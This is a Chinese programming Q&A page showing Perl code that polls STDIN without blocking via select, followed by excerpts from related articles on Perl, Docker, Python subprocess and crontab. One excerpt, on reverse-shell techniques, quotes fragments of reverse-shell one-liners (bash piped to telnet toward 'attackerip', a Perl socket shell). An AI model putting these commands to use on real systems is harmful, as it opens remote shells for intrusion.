首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何在Perl中不阻塞地测试STDIN?

在Perl中,要在不阻塞的情况下测试STDIN,可以使用select函数来检查STDIN是否有数据可读。以下是一个示例代码:

代码语言:perl
复制
use strict;
use warnings;

while (1) {
    my $rin = '';
    my $rout = '';
    vec($rin, fileno(STDIN), 1) = 1;
    my $nfound = select($rout=$rin, undef, undef, 0.1);
    if ($nfound > 0) {
        my $input = <STDIN>;
        chomp $input;
        print "You entered: $input\n";
    } else {
        print "No input available\n";
    }
}

在这个示例中,我们使用select函数来检查STDIN是否有数据可读。如果有数据可读,我们从STDIN中读取输入并输出;如果没有数据可读,我们输出"No input available"。select函数的第四个参数是超时时间,这里设置为0.1秒。

这样,我们就可以在不阻塞的情况下测试STDIN。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

PERL学习笔记---正则表达式的应用

◆输入的字符不会自动存储在$_,除非行输入操作()单独出现在while 循环的条件判断部分。 print “Do you like Perl?...”; my $likes_perl = ( =~ /\byes\b/i); … #Times passes… if($likes_perl){ print “You said earlier...that you like Perl, So… \n”; … } 由于绑定操作有非常高的优先级,因此,模式测试部分的括号不是必需的,下面的代码和上面代码的含义是一样的。...它将 测试部分的结果(而非行输入)返回给变量$likes_perl: my $likes_perl = =~ /\byes\b/i; 其含义是:“这个模式默认将对 $_进行匹配,但此时将对左边的字符串进行匹配...由于这些变量含有字符串,那它们是标量变量;在Perl ,它们具有像$1, $2 这样的名字。变量个数同模式括号对数的个 数是相同的。$4 是指第四对括号所匹配的字符串◆。

68330

Perl正则表达式超详细教程

所以,我把如何使用perl正则来匹配数据放在最开头介绍,包括匹配指定字符串、匹配变量、匹配标准输入(管道传递的数据)以及匹配文件的每一行数据,而且后文我假设各位和我当初一样,完全没有perl语言基础...,所以我会介绍一些perl语言和后文相关的语法,确保全文学习过程没有任何阻塞。...需要注意的是,读取的输入会自带换行符,所以print输出的时候不要加上额外的换行符。 例如,在test.pl文件写入如下内容: #!...$line (){ print "$line"; } 以上就是foreach的语法: 圆括号的内容是待遍历对象,通常是一个列表,比如上面用读取的多行数据就是一个列表...: foreach (){ print "$_"; } foreach $_ (){ print "$_"; } 6.读取文件的数据 正则强大的用处就是处理文本数据

6.1K30

linux下反弹shell的姿势

通常在获得webshell之后,如果是linux的服务器,一般会返回一个shell来对linux服务器做进一步的渗透,:溢出提权、信息收集等。...自带工具 Bash 针对不同的linux版本,可能有不同的利用方式,这里简单列一下,在使用的时候大家自行测试。.../bin/bash | telnet attackerip 4445 远程服务器监听tcp的4445端口 常见脚本 python python作为一个优秀的脚本语言通常默认安装在各大linux操作系统,...:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;' 0x03 perl -MIO -e '$c=new IO::Socket:...因为它集成于 UNIX 环境,所以可以设计、构建和快速执行完整的工作程序,并且立即就能得到结果。 ? xterm xterm是一个X Window System上的标准虚拟终端。

1.6K00

Docker 容器命令:解析容器化应用程序的运行时

在Docker命令,可以使用“-i”选项将标准输入(stdin)连接到容器,并使用“-t”选项分配一个伪终端(TTY)。这两个选项结合在一起可以创建一个交互式的容器会话。...镜像是在docker的,应用是在一个镜像的,如何在容器运行一个程序,如果直接使用docker访问是不行的,因为此时的应用只是在某个镜像下启动了,相当于在docker内部,而不是docker本身,此时就需要将镜像的应用程序的启动端口映射给...导出的 tar 文件只包含容器的文件系统,包含容器的元数据信息。使用 docker import 命令可以将导出的文件系统导入为一个新的镜像,但是新的镜像缺少了容器的元数据信息(标签和注释等)。...而 docker pause 命令则会暂停容器中所有进程的执行,但容器的状态仍然是“运行”,容器的其他资源(网络端口、文件系统等)仍然处于占用状态。...4.2.25 阻塞容器进程 docker wait 命令用于阻塞当前进程,直到指定的容器停止运行或发生错误。

28130

Perl快速入门学习

返回的数据任然是一个字符串,只是这个字符串可能包含多个逻辑行; Perl数据类型: 数值 字符串 数组 Hash(哈希) 注意事项: Perl通常情况是区分整数和浮点数; Perl运算操作符: 赋值...F, And $celsius ℃\n"; 执行结果: perl demo1.pl 86 F, And 30 ℃ 注意事项: (1)Perl符号=~ / = 和 \=\= 之间的差别,等于 \=\=测试两个数字是否相等...Perl正则表达式的元字符更多; $variable=~ m/regularExpression/i #来判断一个正则表示是是否能匹配某个字符串; #整个测试语句作为一个单元返回boolean类型返回...:...)表示只分组补捕获;12() #元组匹配成功之后Perl可以用1 2 注意事项: 在元组中子表达式的编号安装开括号的出现先后排序,从1开始子表达式可以嵌套例如(Washington(.DC)...$demo = ; #交互式接收用户输入 chomp($demo); #去掉$demo变量输入的换行符 # 关键点:注意=~符号后的 m/,匹配成功返回true否则false if

2.4K20

Python subprocess与命令行交互

虽然可以使用 subprocess.run在一个线程启动一个子进程,并在另一个线程与其交互。 但是,当完成了子进程之后,要完全终止它将变得非常棘手。...但是大多数服务器这样做,只会等到他自己结束,或者手动结束。...因此,在看来,建议在小于一行的块读取 stdout。 真的,千万别这么做。...它正确输入 stdin,完成后关闭它(这意味着许多交互式程序游戏结束) 等等。 但是,如果真的希望基于子进程以前的一些输出提供额外的输入,该怎么办呢。...使用非阻塞读线程和可阻塞线程进行交互 最后的示例演示了一个稍微更高级的场景。 假设正在测试一个长期存在的套接字服务器,并且有兴趣编排与它的复杂交互,可能是与多个并发客户机进行交互。

7.4K22

Perl快速入门学习

返回的数据任然是一个字符串,只是这个字符串可能包含多个逻辑行; Perl数据类型: 数值 字符串 数组 Hash(哈希) 注意事项: Perl通常情况是区分整数和浮点数; Perl运算操作符: 赋值...F, And $celsius ℃\n"; 执行结果: perl demo1.pl 86 F, And 30 ℃ 注意事项: (1)Perl符号=~ / = 和 \=\= 之间的差别,等于 \=\=测试两个数字是否相等...Perl正则表达式的元字符更多; $variable=~ m/regularExpression/i #来判断一个正则表示是是否能匹配某个字符串; #整个测试语句作为一个单元返回boolean类型返回...:...)表示只分组补捕获; () #元组匹配成功之后Perl可以用$1 $2 $3 之类的变量来保存相对应的()括号内的子表达式匹配的文本; (?:....)...$demo = ; #交互式接收用户输入 chomp($demo); #去掉$demo变量输入的换行符 # 关键点:注意=~符号后的 m/,匹配成功返回true否则false if

1.3K20

linux之rename命令

区分方法: rename --version 如果返回结果包含 util-linux , 说明是 C 语言版本, 反之是 Perl 版本 # Perl版本 | Ubuntu(18),Mint(20)默认的是...-0, --null 从STDIN读取时,请使用\0作为记录分隔符-n, --nono 执行任何操作:打印要重命名的文件名,但不重命名。...可以重复来构建代码(比如“perl-e”)。如果没有-e,则第一个参数用作代码。...-E 语句:对文件名执行操作的代码,-e,但终止于 ';'.# C语言版本-v, --verbose 提供视觉反馈,其中重命名了哪些文件(如果有的话)-V, --version 显示版本信息并退出...从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名的foo0被替换为foo。 > rename foo0 foo foo0[2]*

2.4K10

linux之rename命令

区分方法: rename --version 如果返回结果包含 util-linux , 说明是 C 语言版本, 反之是 Perl 版本 # Perl版本 | Ubuntu(18),Mint(20)默认的是...-0, --null 从STDIN读取时,请使用\0作为记录分隔符 -n, --nono 执行任何操作:打印要重命名的文件名,但不重命名。...可以重复来构建代码(比如“perl-e”)。如果没有-e,则第一个参数用作代码。...-E 语句:对文件名执行操作的代码,-e,但终止于 ';'. # C语言版本 -v, --verbose 提供视觉反馈,其中重命名了哪些文件(如果有的话) -V, --version 显示版本信息并退出...从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名的foo0被替换为foo。 > rename foo0 foo foo0[2]*

2.5K20

Perl语言入门》——读书笔记

建议比屏幕长的程序都加上use strict; 第五章 输入与输出 行输入操作符 唯独while/foreach循环的条件表达式只有行输入操作符的前提下,这个简写才起作用: while (<STDIN...的符号'basename':use File::Basename qw/ basename /; 直接加载符号,但可以通过制定namespace访问 use File::Basename qw...-t:对文件名无效,所以它的默认值是STDIN foreach (@lots_of_filenames) { print " 虚拟文件句柄_:用上次查询过的文件信息来做当前测试 if (-...,先测试-r,后测试-w -T和-B:测试某个文件是文本文件还是二进制文件。...; } signal 0:测试能否向指定进程发信号,但并不是真的发送 信号处理函数:%SIG。key是非前缀信号名,INT。value是信号处理函数名。

2.5K20

Linux下C编程(3)

这个在GLIBC设计了两个新的函数就是SELECT/POLL。以下是几种I/O模型的比较图: 1)阻塞I/O模型,缺省的套接口都是阻塞的,你使用READ时一定要有数据时进程才会进行下去。...这方法一般建议使用,因为毕竟信号量是一种比较大的中断操作,会导致系统停顿,而且内核是否支持这种SIGIO信号量,还有SIGIO是否是SOCKET操作以及I/O操作集中于信号处理程序。...这些都是需要考虑的因素,一般建议使用。 ?...3.2)I/O复用之异步I/O模式,这只见于POSIX.1的1993版本,是2.6内核的一个标准特性,简称AIO,基本思想是允许进程发起很多I/O操作,而不用阻塞或者等特操作完成。...返回值是响应I/O操作的操作文件描述符的数量的最大值,因此,如果有多个FD,需要使用FD_ISSET进行测试是否是当前返回。

5.2K20

Perl正则表达式:正则匹配

在初步了解了正则表达式语言之后,接下来需要了解如何在Perl中使用正则表达式。...当然我们希望界定符和正则表达式的符号有所冲突(如果实在有冲突可以使用反斜杠转义),事实上最常用的界定符为双斜杠//。...常用的匹配模式下的修饰符有以下几种: 上面表格不同的模式修饰符可以进行组合使用,而且其顺序对模式没有影响,如下所示: /abc....\n"; } 上面代码如果不加//m修饰符则^只会匹配字符串开头从而匹配失败。此外还有另一种更严谨的锚位方法,使用\A、\Z、\z锚定字符串的开头、每一行末尾、字符串结尾。...正则表达式一般将变量放在括号内(这是和反向引用类似的),例如下面一段类似于grep工具命令的小程序: my $what = ; chomp $what; while () { if

4.1K10

Perl语言入门系列之一

写在前面 Perl语言(https://www.perl.org/)最初是为文件体系处理而创作的一种多用途语言,Perl试图填补低级语言(C、C++或汇编语言)和高级语言(shell编程)之间的空白...一般Linux系统都会预安装perl,在Windows系统运行Perl脚本则需要安装软件ActivePerl。...在Perl变量因赋值而存在,不需要预先声明变量,在未赋值之前为undef,而赋值也是Perl唯一的声明变量的方法。...⑵STDIN行输入 在Perl脚本,可以使用行输入操作符来让Perl程序读取标准输入的数据(这里一般指键盘输入)。...只要把放在脚本希望返回标量值的地方,程序运行到这个地方就会停下来,等待键盘输入内容,直到换行符为止。

1.4K30

万字长文:编写 Dockerfiles 最佳实践

docker build[OPTIONS] -f- PATH 如果您希望从仓库构建映像包含Dockerfile,或者您希望使用自定义Dockerfile构建,而维护自己的仓库分支,则此语法非常有用。...8.最小化层数 在老版本的Docker,最大限度减少镜像的层数以确保它们具有更高的性能。添加了以下特性以减少此限制: 只有RUN,COPY,ADD指令才能创建图层。...这意味着即使您在将来的镜像取消设置环境变量,它仍然会在此镜像层中保留,并且其值可以导出。您可以通过创建如下所示的Dockerfile来测试它,然后构建它。...COPY仅支持将本地文件复制到容器,而ADD具有一些功能(本地的tar提取和远程URL支持),这些功能并不是很明显。...因此,ADD的最佳用途是将本地tar文件自动提取到镜像ADD rootfs.tar.xz /所示。

2K20

一文精通 crontab 从入门到出坑

这是crontab的一个特别容易误解之处,下面直接给出结论: 当日和星期任一列包含*时,日与星期两者为并且的关系; 当日和星期列包含*时,日与星期两者为或者的关系; ...关于这个问题的具体说明,可以参看附录的《Crontab and %》。 关于输出重定向 当我们不做输出重定向时,任务有大量输出,或许有些无法解释的问题。...Sat Dec 31 17:45:01 CST 2016 由此可见,任务输出的日期信息写入到了用户邮件任务有大量输出,会占用磁盘资源。...但编者测试显示,磁盘容量不足,任务也会执行,但输出不会写入邮件; 关闭邮件功能 如何关闭?设置MAILTO环境变量为空。...大家对重定向有疑惑,可参见附录的《Linux重定向》,对文解释不错。 程序员的感悟:在技术的世界,当我们按常理做事,事情也不会按常理犯错。

73080
领券